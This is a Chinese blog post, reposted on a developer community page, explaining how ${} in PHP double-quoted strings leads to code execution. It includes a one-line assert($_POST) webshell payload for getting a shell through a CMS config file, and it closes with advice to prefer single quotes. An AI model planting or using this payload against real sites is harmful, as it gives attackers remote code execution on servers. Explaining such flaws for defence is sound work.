PHP中双引号引起的命令执行漏洞-阿里云开发者社区

开发者社区> 幸运码发放> 正文

PHP中双引号引起的命令执行漏洞

简介: PHP中双引号引起的命令执行漏洞在PHP语言中,单引号和双引号都可以表示一个字符串,但是对于双引号来说,可能会对引号内的内容进行二次解释,这就可能会出现安全问题。 0|1正文举个简单例子 <?php$a = 1;$b = 2;echo '$a$b';//输出结果为$a$becho "$a$b";//输出结果为12?>可以看到这两个输出的结果并不相同。
+关注继续查看

PHP中双引号引起的命令执行漏洞
在PHP语言中,单引号和双引号都可以表示一个字符串,但是对于双引号来说,可能会对引号内的内容进行二次解释,这就可能会出现安全问题。

0|1正文
举个简单例子

<?php
$a = 1;
$b = 2;
echo '$a$b';//输出结果为$a$b
echo "$a$b";//输出结果为12
?>
可以看到这两个输出的结果并不相同。

在双引号中倘若有${}出现,那么{}内的内容将被当做代码块来执行。

可以看到成功执行了phpinfo()

试想一下,倘若在一个cms的后台,可以修改数据库的配置文件,且配置文件中的值用双引号包括,我们虽然也可以直接闭合代码达到getshell的后果,但是如果cms对传递的参数进行了addlashes()处理的话,我们就无法去闭合代码了,但这时我们可以传入${命令}就可以达到getshell的目的。

现在,让我们来修改一下代码,让我们不只能输出phpinfo

<?php echo "${@assert($_POST[a])}";?> //@是用来防止输出错误信息的

菜刀成功连接

0|1总结
本文简单记录了双引号可能会引发的代码执行的情况
对于这种漏洞的防御,一定要明确单引号与双引号的区别所在,不要简单认为两者是互相可以替代的,在平时的代码书写中能只用单引号一定不要用双引号,毕竟单引号的解释时间也比双引号少得多,代码运行相对更快。

EOF

作  者:Yunen
出  处:https://www.cnblogs.com/yunen/p/10600410.html

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
快速搭建平头哥安全处理器的可信执行环境
平头哥安全处理器系列包括CK802T, CK803T, CK804T和E902T等, 结合平头哥SoC安全机制,搭建的芯片平台具有良好的兼容性和健壮性。基于平头哥TEE OS接口的扩展性和移植性,可以方便地快速地移植到其他平头哥安全处理器的芯片平台上。本文介绍了如何在不同的芯片平台快速创建可信执行环境的步骤和注意点,帮助设计开发者迅速的在平头哥安全处理器上开发TEE OS。
1262 0
Java虚拟机:内存管理与执行引擎
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/zhaobryant/article/details/79697073 一、Jav...
1390 0
使用OpenApi弹性释放和设置云服务器ECS释放
云服务器ECS的一个重要特性就是按需创建资源。您可以在业务高峰期按需弹性的自定义规则进行资源创建,在完成业务计算的时候释放资源。本篇将提供几个Tips帮助您更加容易和自动化的完成云服务器的释放和弹性设置。
12069 0
Java反序列化漏洞执行命令回显实现及Exploit下载
原文地址:http://www.freebuf.com/tools/88908.html   本文原创作者:rebeyond 文中提及的部分技术、工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用! 0×00 前言 前段时间java 的反序列化漏洞吵得沸沸扬扬,从刚开始国外某牛的一个可以执行OS命令的payload生成器,到后来的通过URLClassLoader来加载远程类来反弹shell。
1289 0
Memcached命令执行漏洞(CVE-2016-8704、CVE-2016-8705、CVE-2016-8706)原理和对阿里云Memcache影响分析
Memcached是一个广泛使用的高速缓存系统,近期研究者发现小于1.4.33的版本存在3个整数溢出漏洞,通过这几个漏洞攻击者可以触发堆溢出导致crash,这里对漏洞做了分析和验证。尔后验证了阿里云ApsaraDB for Memcache不受漏洞影响,并分析了原因。
7048 0
PHP中双引号引起的命令执行漏洞
PHP中双引号引起的命令执行漏洞在PHP语言中,单引号和双引号都可以表示一个字符串,但是对于双引号来说,可能会对引号内的内容进行二次解释,这就可能会出现安全问题。 0|1正文举个简单例子 <?php$a = 1;$b = 2;echo '$a$b';//输出结果为$a$becho "$a$b";//输出结果为12?>可以看到这两个输出的结果并不相同。
988 0
+关注
幸运码发放
阿里云优惠码阿里云推荐券bieryun.com
171
文章
0
问答
文章排行榜
最热
最新
相关电子书
更多
《2021云上架构与运维峰会演讲合集》
立即下载
《零基础CSS入门教程》
立即下载
《零基础HTML入门教程》
立即下载